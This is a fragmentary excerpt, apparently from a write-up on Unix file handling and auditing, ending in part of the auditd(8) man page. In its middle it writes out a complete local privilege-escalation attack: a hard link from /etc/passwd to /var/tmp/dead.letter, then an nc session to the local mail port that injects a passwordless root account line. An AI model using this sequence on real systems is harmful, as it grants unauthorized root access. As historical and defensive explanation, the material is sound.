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/proc
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int fd = open("/etc/passwd", O_RDWR);

fd

open()



fork()
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/tmp



$ ln /etc/passwd /var/tmp/dead.letter

$ nc -v localhost 25

HELO localhost

MAIL FROM: this@host.doesn't.exist

RCPT TO: this@host.doesn't.exist

DATA

r00t::0:0:0wned:/root:/bin/sh

.

QUIT
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AUDITD(8)               System Administration Utilities              AUDITD(8)

NAME
auditd - The Linux Audit daemon

SYNOPSIS
auditd [-f] [-l] [-n] [-s disable|enable|nochange]

DESCRIPTION
auditd is  the  userspace component to the Linux Auditing System. It's
responsible for writing audit records to the disk. Viewing the logs  is
done  with  the  ausearch or aureport utilities. Configuring the audit
system or loading rules is  done  with  the  auditctl utility.  During
startup,  the  rules in /etc/audit/audit.rules are read by auditctl and
loaded into the kernel. Alternately, there is also an  augenrules proβ€•
gram  that reads rules located in /etc/audit/rules.d/ and compiles them
into an audit.rules file. The audit daemon itself has  some  configuraβ€•
tion options  that  the admin may wish to customize. They are found in
the auditd.conf file.

OPTIONS
-f     leave the audit daemon in the foreground for debugging. Messages

also go to stderr rather than the audit log.

-l     allow the audit daemon to follow symlinks for config files.

-n     no fork. This is useful for running off of inittab or systemd.

-s=ENABLE_STATE
specify  when starting if auditd should change the current value
for the kernel enabled flag. Valid values for  ENABLE_STATE  are
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